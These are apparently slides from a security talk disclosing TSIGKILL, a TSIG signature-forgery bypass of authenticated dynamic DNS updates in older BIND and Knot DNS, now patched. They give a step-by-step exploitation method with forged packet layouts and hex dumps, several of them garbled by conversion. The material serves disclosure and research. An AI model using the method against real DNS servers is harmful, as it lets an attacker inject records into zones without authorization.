TSIGKILL: Bypassing dynamic DNS updates authentication through signature forgery

… or a tale on how to audit a DNS server when you don’t really know anything about DNS
Whoami

- Clément Berthaux
- @saph_ on twitter

Working for Synacktiv

- Offensive security company (pentest, red team, vuln hunting, exploitation etc.)
- If there is software in it, we can own it :) 
- We are recruiting!

Didn’t know sh*t about DNS

- But not anymore, that would be awkward
Context

- Security Evaluation of a well-known DNS server
  - DNSSEC
  - NSEC
  - NSEC3
  - DDNS
  - TSIG
  - Etc.
DNS

- Everyone knows DNS
- The root of the Internet
- Not designed with security in mind
  - No authentication
  - No integrity
  - No encryption
DNSSEC

- DNS extension introduced in 2004
- Provides DNS server authentication
- Least performance impact possible
  - Zone periodically resigned not on-the-fly
- Deployed on most TLDs
- Almost never deployed among corporate DNS servers
DNSSEC: The Ultimate Basic Overview

- Adds a DNSKEY record in the zone that stores the public key
- Adds a RRSIG record that contains each name record signature

A test.example.com

A 1.2.3.4
RRSIG [SIG]
DNSSEC: proof of non-existence

- Can’t presign the answer for an unknown record
- Presigned linked list of the zone domains
  - « A record for bla.example.com ?»
  - → « There is no record between a.example.com and c.example.com »
- Not good
  - Allow zone enumeration
DNSSEC: proof of non-existence, continued

- Second attempt: NSEC3 (2008)
- « Solves » zone enumeration with SHA1...
- Just walk the zone, get the hashes and crack them
- https://github.com/anonion0/nsec3map
DNSSEC: additional proof of non-existence

- The more the merrier
  - Online-Sign
  - White lies
  - NSEC5
  - Black lies
TSIG

- Authentication mechanism
  - Based on HMAC with a pre-shared key
- Used for access control
  - Zone transfer (AXFR)
  - Dynamic zone updates
- Described in RFC 2845
  - in May 2000
TSIG in details

Domain Name System (query)
[Response In: 2]
Transaction ID: 0x8376
- Flags: 0x0000 Standard query
  - Questions: 1
  - Answer RRs: 0
  - Authority RRs: 0
  - Additional RRs: 1
- Queries

Additional records
- tsig_key: type TSIG, class ANY
  - Name: tsig_key
  - Type: TSIG (Transaction Signature) (250)
  - Class: ANY (0x00ff)
  - Time to live: 0
  - Data length: 61
  - Algorithm Name: hmac-sha256

[Expert Info (Warning/Malformed): Trying to fetch an absolute time value with length 6]
- Time Signed: Jan 1, 1970 07:23:15.000000000 CET
  - Fudge: 300
  - MAC Size: 32

MAC
- [Expert Info (Warning/Undecoded): No dissector for algorithm:hmac-sha256]
  - Original Id: 33654
  - Error: No error (0)
  - Other Len: 0
TSIG, answer example

Domain Name System (response)

[Request [In: 1]]
[Time: 0.000158874 seconds]
Transaction ID: 0x8376
- Flags: 0x8400 Standard query response, No error
  Questions: 1
  Answer RRs: 0
  Authority RRs: 1
  Additional RRs: 1
- Queries
  - test.example.com: type SOA, class IN
- Authoritative nameservers
  - example.com: type SOA, class IN, mname dns1.example.com
- Additional records
  - tsig_key: type TSIG, class ANY
    Name: tsig_key
    Type: TSIG (Transaction Signature) (250)
    Class: ANY (0x00ff)
    Time to live: 0
    Data length: 61
    Algorithm Name: hmac-sha256
    [Expert Info (Warning/Malformed): Trying to fetch an absolute time value with length 6]
    Time Signed: Jan 1, 1970 07:23:15.000000000 CET
    Fudge: 300
    MAC Size: 32
- MAC
  Original Id: 33654
  Error: No error (0)
  Other Len: 0
TSIG quirks

- Answer signed with the same key
- Digest sent in request is used to compute the answer’s
- What if …
  - … the digest is invalid?
  - … the time-stamp is out of the time window?
- What does the RFC say?

When a server detects an error relating to the key or MAC, the server **SHOULD** send back an *unsigned* error message (MAC size == 0 and empty MAC). If an error is detected relating to the TSIG validity period, the server **SHOULD** send back a *signed* error message.
ISC Bind9 (prior to 9.10.5-P2)

- Request signed with invalid signature
  - Invalid digest
  - Wrong size

```
Fudge: 300
MAC Size: 64

MAC

[Expert Info (Warn/Undecoded): No dissector
Original Id: 17476
Error: No error (0)
Other Len: 0]

0000 02 42 ac 11 00 1c 56 84 7a fe 97 99 08 00 45 00
0010 00 aa 0a d8 40 00 40 11 ad 2b ac 11 2a 01 ac 11
0020 00 1c a4 bc 00 35 00 06 82 e7 44 44 28 00 00 01
0030 00 00 00 00 00 01 07 55 78 61 6d 70 6c 65 03 63
0040 6f 6d 00 00 06 00 01 08 74 73 69 67 5f 6b 65 79
0050 00 00 fa 00 ff 00 00 00 00 00 00 00 00 00 00 00
0060 2d 73 68 61 32 35 36 00 00 00 59 40 15 de 01 2c
0070 00 40 00 00 00 00 00 00 00 00 00 00 00 44 44 00
0080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00b0 00 00 44 44 00 00 00 00
```

- Additional records
  - tsig_key: type TSIG, class ANY
    - Name: tsig_key
    - Type: TSIG (Transaction Signature) (250)
    - Class: ANY (0x00ff)
    - Time to live: 0
    - Data length: 61
    - Algorithm Name: hmac-sha256

[Expert Info (Warn/Malformed): Trying to fetch
Time Signed: Jan 1, 1970 07:20:48.000000000
Fudge: 300
MAC Size: 32

MAC

[Expert Info (Warn/Undecoded): No dissector
Original Id: 17476
Error: No error (0)
Other Len: 0]
ISC Bind9 (prior to 9.10.5-P2)

- Request signed with invalid signature
- Invalid digest
- Wrong size

```plaintext
\text{MAC}:
\begin{verbatim}
0000 02 42 ac 11 00 1c 5f
0010 00 a0 0a d8 40 00 40
0020 00 1c a4 bc 00 35 00
0030 00 00 00 00 00 01 07
0040 6f 6e 00 06 00 01 07
0050 00 00 fa 00 ff 00 00 00 00 00 00 00 00 00 00
0060 2d 73 68 61 32 35 36 00 00 00 59 40 15 de 01 2c
0070 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00
0080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00b0 00 00 44 44 00 00 00 00
\end{verbatim}
```

---

```
\text{Original message (any)}
\text{MAC Size: 64}
```

---

```
\text{Original message (Malformed): Trying to fetch}
\text{Original message (Malformed): No disector}
```

---

```
\text{Original message (Warn/Undecoded): No disector}
```

---

```
\text{Original Id: 17476}
\text{Error: No error (0)}
\text{Other Len: 0}
```
Knot DNS (prior to 2.5.2)

- Request signed
  - Invalid digest
  - Time-stamp ahead of time (default fudge = 300)

```
Additional records
tsig_key: type TSIG, class ANY
  Name: tsig_key
  Type: TSIG (Transaction Signature) (250)
  Class: ANY (0x00ff)
  Time to live: 0
  Data length: 67
  Algorithm Name: hmac-sha256
  [Expert Info (Warn/Malformed): Trying to fetch an absolute time value with length 6]
  Time Signed: Jan 1, 1970 07:20:49.000000000 CET
  Fudge: 300
  MAC Size: 32

MAC
  Original Id: 23480
  Error: Signature out of time window (18)
  Other Len: 6
  Other Data: 000059412e6d
```
Knot DNS (prior to 2.5.2)

- Request signatures
  - Invalid digest
  - Timestamp ahead of time (default fudge = 300)

Additional records
- tsig_key: type TSIG
  - Name: tsig_key
  - Type: TSIG (T)
  - Class: ANY (O)
  - Time to live: 0
  - Data length: 32
  - Algorithm Name: HMAC-SHA256
    - [Expert Info (Warn/Undecoded): No dissector for algorithm:hmac-sha256]
      - Original Id: 23480
      - Error: Signature out of time window (18)
      - Other Len: 6
      - Other Data: 000059412eed
Ok so why do we even care?

- According to the RFC

4.2. TSIG on Answers

When a server has generated a response to a signed request, it signs the response using the same algorithm and key. The server MUST not generate a signed response to an unsigned request. The digest components are:

- Request MAC
- DNS Message (response)
- TSIG Variables (response)

- Looks like a signature forgery with arbitrary prefix
How to exploit

- **Prerequisites**
  - TSIG key name
  - DNS update ACL using TSIG
- **Zone example.com**
- **Served by a Bind9 instance**
- **We want to inject some records**
Step 1

- Forge a DNS update packet

- Domain Name System (query)
  - Transaction ID: 0x1005
  - Flags: 0x2800 Dynamic update
    - Zones: 1
    - Prerequisites: 0
    - Updates: 3
    - Additional RRs: 0
  - Zone
  - Updates
    - i.can.inject.records.in.the.zone.example.com: type TXT, class IN
      - Name: i.can.inject.records.in.the.zone.example.com
      - Type: TXT (Text strings) (16)
      - Class: IN (0x0001)
      - Time to live: 3600
      - Data length: 9
      - TXT Length: 8
      - TXT: injected
    - padding.example.com: type TXT, class ANY
      - padding record used to absorb the junk
Step 2

Send a trigger packet w/ forged packet as MAC

- Additional records
  - tsig_key: type TSIG, class ANY
    - Name: tsig_key
    - Type: TSIG (Transaction Signature) (250)
    - Class: ANY (0x00FF)
    - Time to live: 0
    - Data length: 155
    - Algorithm Name: hmac-sha256
    - Time Signed: Jan 1, 1970 07:23:36.000000000 CET
    - Fudge: 300
    - MAC Size: 126

- MAC
  - Original Id: 49647
  - Error: No error (0)
  - Other Len: 0

<table>
<thead>
<tr>
<th>Offset</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>0050</td>
<td>07 65 78 61 6d 70 6c 65 03 63 6f 6d 00 00 06 00 .example.com.....</td>
</tr>
<tr>
<td>0060</td>
<td>01 08 74 73 69 67 5f 6b 65 79 00 00 fa 00 ff 00 ..tsig_k ey......</td>
</tr>
<tr>
<td>0070</td>
<td>00 00 00 00 9b 0b 68 6d 61 63 2d 73 68 61 32 35 ......hm ac-sha25</td>
</tr>
<tr>
<td>0080</td>
<td>36 00 00 00 00 59 e8 b1 96 01 2c 00 00 7e 28 00 00 01 6...y.....,~(</td>
</tr>
<tr>
<td>0090</td>
<td>00 00 00 04 00 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00 00 06 00 ........e xample.c</td>
</tr>
<tr>
<td>00a0</td>
<td>6f 6d 00 00 00 06 00 01 01 69 03 63 61 6e 06 69 59 ...............i.can.in</td>
</tr>
<tr>
<td>00b0</td>
<td>6a 65 63 74 07 72 65 63 6f 72 64 73 62 69 6e 03 6f 6d 00 00 00 00 ......project.reco</td>
</tr>
</tbody>
</table>
| 00c0   | 74 68 65 04 7a 6f 6e 65 c0 0c 00 10 00 ff 00 ...............other.the.zone ......
| 00d0   | 00 0e 00 00 c0 1d 00 10 00 01 00 00 00 e0 10 00 09 .............. ............. |
| 00e0   | 98 69 6e 6a 65 63 74 65 64 07 70 61 64 64 6f 6e 03 6f 6d 00 00 00 00 ......injecte |
| 00f0   | 67 c0 0c 00 10 00 ff 00 00 00 00 00 00 00 c0 0e 5f 00 ............... ............. |
| 0100   | 10 00 01 00 00 0e 10 00 1e 1d c1 ef 00 00 00 00 ............... ............. |
Step 3

- The MAC length is invalid, Bind signs its answer
- Using
  - The request digest prefixed with its length as a 16 bit unsigned integer
    
    | 00000000 | 00 7e 28 00 00 01 00 00 00 04 00 00 07 65 78 61 |
    | 00000010 | 6d 70 6c 65 03 63 6f 6d 00 00 06 00 01 01 69 03 |
    | 00000020 | 6d 61 6e 60 69 6e 6a 65 63 74 07 72 65 63 6f 72 |
    | 00000030 | 6a 66 03 74 65 63 6f 72 07 72 65 63 6f 72 07 72 65 63 6f 72 |
    | 00000040 | 00 10 00 ff 00 00 00 00 00 00 c0 1d 00 10 00 01 |
    | 00000050 | 00 00 0e 10 00 09 08 69 6e 6a 65 63 74 65 64 07 |
    | 00000060 | 70 61 64 64 69 6e 67 6c 00 00 10 00 ff 00 00 00 |
    | 00000070 | 00 00 00 c0 5f 00 10 00 01 00 00 0e 10 00 1e 1d |
  
  - The answer data without the TSIG record which we need to absorb in our padding TXT record
    
    | 00000000 | c1 ef a8 01 00 01 00 00 00 00 00 00 01 07 65 78 61 |
    | 00000010 | 6d 70 6c 65 03 63 6f 6d 00 00 06 00 01 |

  - The TSIG record without its digest and digest size attributes (with the error and other data attributes)
    
    | 00000000 | 08 74 73 69 67 5f 6b 65 79 00 00 fa 00 ff 00 00 |
    | 00000010 | 00 00 00 3d 0b 68 6d 61 63 2d 73 68 61 32 35 36 |
    | 00000020 | 00 00 00 59 e8 b1 96 01 2c c1 ef 00 00 00 00 |
Step 4

- Send the forged update request
- Patch some stuff so that the request data matches the forged signature
  - The transaction ID to match
  - The HMAC digest

Transaction ID: 0x007e
- Flags: 0x2800 Dynamic update
- Zones: 1
- Prerequisites: 0
- Updates: 4
- Additional RRs: 1
- Zone
  - Updates
    - i.can.inject.records.in.the.zone.example.com: type TXT,
    - padding.example.com: type TXT, class ANY
    - padding.example.com: type TXT, class IN
      - Name: padding.example.com
        - Type: TXT (Text strings) (16)
        - Class: IN (0x0001)
        - Time to live: 3600
        - Data length: 30
        - TXT Length: 29
        - TXT: \357\277\275\357\277\275\357\277\275\357\277\275\001
  - Additional records
    - tsig_key: type TSIG, class ANY
      - Name: tsig_key
        - Type: TSIG (Transaction Signature) (250)
        - Class: ANY (0x00ff)
        - Time to live: 0
        - Data length: 61
        - Algorithm Name: hmac-sha256
        - Time Signed: Jan 1, 1970 07:23:36.000000000 CET
        - Fudge: 300
        - MAC Size: 32
    - MAC
      - Original Id: 126
      - Error: No error (0)
      - Other Len: 0
Demo

- Exploiting the vulnerability on Bind
- Prerequisites
  - Dynamic DNS updates configured to use TSIG
  - Name of the TSIG key used
Vendors responses

- Very quick and professional response from both ISC and CZ.NIC
  - CVE-2017-3142 – TSIG bypass allowing unauthorized zone transfers in ISC BIND
  - CVE-2017-3143 – TSIG bypass through signature forgery in ISC BIND
  - CVE-2017-11104 – TSIG bypass through signature forgery in Knot DNS

- Patches for Bind and Knot DNS were delivered in a few weeks

- Guys at ISC are working on a RFC 2845 bis
  - A draft clarifying the issue was published the 31\textsuperscript{th} of October 2017
  - Props to them!
Do you have any questions?